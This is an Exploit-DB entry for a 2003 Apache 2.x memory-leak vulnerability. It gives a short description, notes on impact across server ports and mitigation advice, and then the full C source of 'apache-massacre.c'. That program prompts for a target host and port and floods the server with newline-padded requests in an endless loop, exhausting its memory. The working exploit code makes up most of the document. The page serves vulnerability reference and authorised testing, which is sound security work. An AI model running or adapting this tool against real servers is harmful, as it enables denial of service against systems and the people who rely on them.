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vendor:
Apache HTTP Server
by:
Matthew Murphy
5.5
CVSS
MEDIUM
Memory Leak
CWE
Product Name: Apache HTTP Server
Affected Version From: Apache 2.x
Affected Version To: Apache 2.x
Patch Exists: YES
Related CWE:
CPE: a:apache:http_server:2.x
Metasploit:
Other Scripts:
Platforms Tested: Non-Unix (Win32, Netware, OS/2)
2003

Apache 2.x Memory Leak

This exploit tool is used to test networks for a known vulnerability in Apache 2.x. It causes a memory leak in the Apache server. The impacts of this vulnerability vary between different ports of the server. Non-Unix ports are most adversely affected as the child process of Apache doesn't terminate normally unless the parent process stops. This means that leaks and any performance loss hang around until Apache is restarted. Unix/mpm_prefork offers the most protection against successful exploitation as its processes exit at the end of the request. Unix/other MPMs utilize multiple Apache processes for multiple Apache requests, which can be used to the advantage of a potential attacker depending on the MPM in use and the traffic rates of the server. If multiple different Apache processes are utilized, an attacker can spread the substantial leak between processes to dodge resource limits imposed on httpd's UID.

Mitigation:

The vulnerability was fixed by Apache about a month after its initial disclosure. Users should update their Apache installations to the latest version to mitigate this vulnerability.
Source

Exploit-DB raw data:

/* apache-massacre.c
* Test code for Apache 2.x Memory Leak
* By Matthew Murphy
*
* DISCLAIMER: This exploit tool is provided only to test networks for a
* known vulnerability. Do not use this tool on systems you do not control,
* and do not use this tool on networks you do not own without appropriate
* consent from the network owner. You are responsible for any damage your
* use of the tool causes. In no event may the author of this tool be held
* responsible for damages relating to its use.
*
* As with most Apache exposures, the impacts vary between ports of the server:
*
* Non-Unix (Win32, Netware, OS/2): These ports are most adversely affected
* by this, as Apache's child process doesn't terminate normally unless the
* parent process stops. This means that leaks (and any performance loss) hang
* around until Apache is restarted.
*
* Unix/mpm_prefork: This MPM offers the most protection against successful
* exploitation, as its processes exit at the end of the request.
*
* Unix/other MPMs: These other MPMs utilize multiple Apache processes for 
* multiple Apache requests. Depending on the MPM in use and the traffic rates
* of the server, this may be used to the advantage of a potential attacker.
* If multiple different Apache processes are utilized, an attacker can spread
* the substantial leak between processes to dodge resource limits imposed on
* httpd's UID (usually nobody, www, or apache)
*
* Credit: iDEFENSE reported this issue to several security lists on April 8,
* 2003 following the Apache release announcement. Apache fixed the flaw about
* a month after the initial disclosure of this vulnerability. iDEFENSE credits
* the discovery of this vulnerability to an anonymous researcher.
*
* Happy Hunting!
*/

#ifndef _WIN32
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <fcntl.h>
#else
#include <windows.h>
#pragma comment(lib, "wsock32.lib")
#endif
#include <stdlib.h>
#include <stdio.h>

int sig_fired = 0;

#ifndef _WIN32
void sig_handler(int sig) {
#else
BOOL WINAPI sig_handler(DWORD dwCtrlType) {
#endif
sig_fired = 1;
#ifndef _WIN32
return;
#else
return TRUE;
#endif
}

int main(int argc, char *argv[]) {
SOCKET s;
struct sockaddr_in sin;
char buffer[1025];
struct hostent *he;
unsigned short iPort = 80;
int newlines = 100;
char *p;
char *p2;
int i;
#ifdef _WIN32
WSADATA wsa_prov;
#endif
printf("Apache Massacre v1.0\r\n");
printf("Exploit by Matthew Murphy\r\n");
printf("Vulnerability reported by iDEFENSE Labs\r\n\r\n");
#ifdef _WIN32
if (WSAStartup(0x0101, &wsa_prov)) {
perror("WSAStartup");
exit(1);
}
#endif
printf("Please enter the web server's host/IP: ");
fgets(&buffer[0], 1024, stdin);
he = gethostbyname(&buffer[0]);
if (!he) {
perror("gethostbyname");
exit(1);
}
sin.sin_addr.s_addr = *((unsigned long *)he->h_addr);
printf("Please enter the web server's port: ");
fgets(&buffer[0], 1024, stdin);
iPort = (unsigned short)atoi(&buffer[0]);
#ifndef _WIN32
#ifdef _SOLARIS
sigset(SIGINT, &sig_handler);
#else
signal(SIGINT, &sig_handler);
#endif
#else
SetConsoleCtrlHandler(&sig_handler, TRUE);
#endif
printf("How many newlines should be in each request [100]: ");
fgets(&buffer[0], 1024, stdin);
if (!buffer[0] == 0x0D && !buffer[0] == 0x0A) {
newlines = atoi(&buffer[0]);
}
p = malloc(newlines*2);
p2 = p;
for (i = 0; i < newlines; i++) {
*p2 = 0x0D;
p2++;
*p2 = 0x0A;
p2++;
}
newlines += newlines;
s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s < 0) {
perror("socket");
exit(1);
}
sin.sin_family = AF_INET;
sin.sin_port = htons(iPort);
if (connect(s, (const struct sockaddr *)&sin, sizeof(struct sockaddr_in))) {
perror("connect");
exit(1);
}
while (1) {
if (!send(s, (char *)p, newlines, 0) == newlines) {
perror("send");
exit(1);
}
if (sig_fired) {
printf("Terminating on SIGINT");
free(p);
#ifndef _WIN32
close(s);
#else
closesocket(s);
WSACleanup();
#endif
exit(0);
}
}
}


// milw0rm.com [2003-04-09]